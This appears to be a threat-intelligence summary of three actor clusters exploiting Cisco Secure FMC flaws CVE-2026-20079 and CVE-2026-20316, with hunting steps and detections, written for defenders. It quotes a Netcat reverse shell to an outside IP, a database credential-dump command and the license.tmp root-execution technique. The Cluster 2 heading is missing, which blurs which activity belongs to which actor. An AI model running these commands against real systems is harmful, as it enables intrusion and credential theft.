Skip to content

Cisco Secure FMC in-the-wild exploitation: three actor clusters on CVE-2026-20079 / CVE-2026-20316

Summary

On September 9, 2026, Cisco Talos disclosed confirmed in-the-wild exploitation of two Cisco Secure Firewall Management Center (FMC) vulnerabilities and broke the post-compromise activity into three distinct actor clusters, the first time these FMC flaws have been tied to named (Talos-tracked) threat actors rather than the generic "active exploitation" framing of the July CVE-2026-20316 disclosure.

The two flaws:

  • CVE-2026-20079 — authentication bypass, CVSS 10.0. An unauthenticated, remote attacker bypasses authentication and executes scripts on the device to obtain root on the underlying OS.
  • CVE-2026-20316 — static-credential login into a low-privileged account, CVSS 5.3. Chained with other FMC flaws for privilege elevation; the shared, low-bar initial-access path that all three clusters touch.

Cisco had already released hotfixes for both; Talos flagged a comprehensive hardening release (bundling these hotfixes plus internally discovered vulnerabilities) for the week of September 14. Talos' post is a detection and attribution artifact: it documents who is exploiting these and how, which is what the July disclosure and the CISA KEV entries did not provide.

Tags

Why this matters

  • This is the first actor-attributed, in-the-wild exploitation of the FMC CVE pair, upgrading it from "vendor says it's being exploited" to "here are three clusters and what each one does."
  • One of the clusters deploys a variant of Cyclops Blink, previously attributed by the US and UK to the Russian APT Sandworm, and the other operates as a Qilin ransomware affiliate — so a single appliance class now serves both state-sponsored espionage and criminal extortion.
  • The recurring pivot across clusters is the package_info.pl / license.tmp mechanism: a malicious Makeself-style license.tmp file executed as root during the FMC install/upgrade process. That is both the durable log tell and a reusable attacker technique.
  • FMC is an internet-reachable management control plane; compromise of it is compromise of the firewall policy and the managed-device inventory.

The two vulnerabilities

CVE-2026-20079 (auth bypass → root, CVSS 10.0)

Unauthenticated, remote authentication bypass that executes scripts to reach root. The initial-access vector for clusters 1 and 2.

CVE-2026-20316 (static low-privilege credential, CVSS 5.3)

Allows a remote attacker to log in with an embedded low-privilege account. Low score on its own, but it is the shared, unguarded entry point — every one of the three clusters uses it, either directly or as part of a chain. It is the flaw with the widest blast radius because it requires no special exploit beyond knowing the static credential path.

See the dedicated CVE-2026-20316 static-credential page for the July disclosure context, affected/unaffected product scope, the /var/tmp/license.tmp triage pivot, and the branch-specific hotfix table. This page adds the in-the-wild actor layer on top.

Cluster 1 — UAT-12197 (web shell + JAR command executor + credential theft)

  • Initial access: CVE-2026-20079.
  • Drops a JSP-based web shell in the CSM Tomcat webroot.
  • The web shell Base64-decodes a parameter labelled F6C1F0E7 (the class name to load in the Java process).
  • Places a malicious JAR, cmd[.]jar, in the same directory; the JAR is a command executor that runs /bin/sh -c <command> from its command line.
  • Uses the JAR to query FMC's internal database for credentials: 
    /var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\'
  • Outcome: credential exfiltration.
  • Talos attributes with high confidence to UAT-11823, an APT actor that overlaps in tooling with the Sandworm APT.
  • Initial access: CVE-2026-20079 or static credentials (CVE-2026-20316).
  • Establishes a Netcat-based reverse shell by replacing the license.tmp file on disk with a malicious Makeself copy: 
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f
  • The malicious license file is executed as root by the FMC install process: 
    /usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm
  • Also deploys two bash scripts that harvest managed-device configurations, staged into archives for exfiltration.
  • Downloads a modular ELF implant — a variant of Cyclops Blink (previously attributed to Sandworm, a Russian APT actor) from one of its Netcat C2 servers. Documented capabilities:
  • persistence scripts in /etc/init.d/
  • DNS-over-HTTPS (DoH) IP resolution
  • file administration (download / upload)
  • credential harvesting
  • arbitrary file and command execution
  • network scanning and discovery
  • packet sniffing (with optional filters)

Cluster 3 — UAT-11988 (Qilin ransomware operator, high confidence)

  • Talos assesses with high confidence this is a ransomware operator, with TTPs consistent with Qilin ransomware affiliates. (Talos credits Avit for contributions to this cluster.)
  • Initial access: static credentials via CVE-2026-20316.
  • Uses living-off-the-land (LOTL) abuse of legitimate built-in FMC tooling.
  • Instrumentation via package_info.pl: executes an attacker-crafted malicious license[.]tmp file as root to run reconnaissance:
  • hostnames, IP addresses, directory listings
  • AD service-account and MySQL account credentials
  • domain account information
  • computer object lists
  • hostname→IP mappings spanning domain controllers, ADFS, Exchange, file servers, database servers
  • exfiltrated via HTTP GET requests out of files already accessible on the FMC server
  • Tunneling into the compromised network: a Python SOCKS5 proxy (socks5.py) plus a reverse-SSH tunnel from the FMC back to the attacker's host, forwarding:
  • LDAP (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), WinRM (5985)
  • Pre-ransomware actions: extensive endpoint probing, open-source tooling (impacket, Invoke-TheHash), and custom AV killers, then Qilin ransomware deployment on selected endpoints.

Shared tell: the package_info.pl / license.tmp mechanism

Two of the three clusters establish their foothold by planting a malicious license.tmp file and letting the FMC install/upgrade process (package_info.pl ... --lsm) execute it as root. This is the same /var/tmp/license.tmp artifact the July CVE-2026-20316 disclosure used as its triage pivot — now confirmed as an active attacker technique, not just a passive indicator. Hunt for:

  • any license.tmp / license[.]tmp write or execution outside a known-good Cisco install/upgrade;
  • package_info.pl ... license.tmp invocations that are not part of a tracked upgrade;
  • root processes spawned from the install path that are not part of a Cisco signature.

Detections (Talos-published Snort SIDs)

  • CVE-2026-20079: SIDs 66075–66080
  • CVE-2026-20316: SID 66883
  • Associated malware: SID 66960

Defender actions

  1. Apply the Cisco hotfixes now. Both CVEs have released on-prem hotfixes; do not wait for the week-of-September-14 hardening release. Verify the installed build.
  2. Inventory every FMC instance (production, DR, lab, dormant) and identify any internet path to the management interface. Remove public reachability as an immediate stopgap.
  3. Preserve evidence before cleanup — /var/log/messages, web-interface and auth logs, install/upgrade history, process and network telemetry.
  4. Hunt the license.tmp / package_info.pl pivot (above) plus the cluster-specific artifacts: JSP web shells + cmd[.]jar in the CSM Tomcat webroot (cluster 1); mkfifo / nc reverse shells and /etc/init.d/ persistence + DoH resolution (cluster 2, Cyclops Blink); impacket / Invoke-TheHash / AV-killer tooling and SOCKS5/reverse-SSH tunneling (cluster 3).
  5. Rotate all FMC user credentials, keys, and certificates from a clean administrative path, because static-credential login is the common entry.
  6. Treat a match as control-plane compromise — isolate the manager, engage Cisco TAC, and review managed-device policy/object integrity and downstream administrative trust.
  7. Do not over-attribute. The Sandworm (UAT-11823) and Qilin (UAT-11988) linkages are Talos' assessments; treat them as high-confidence-but-vendor-sourced until corroborated.

Sources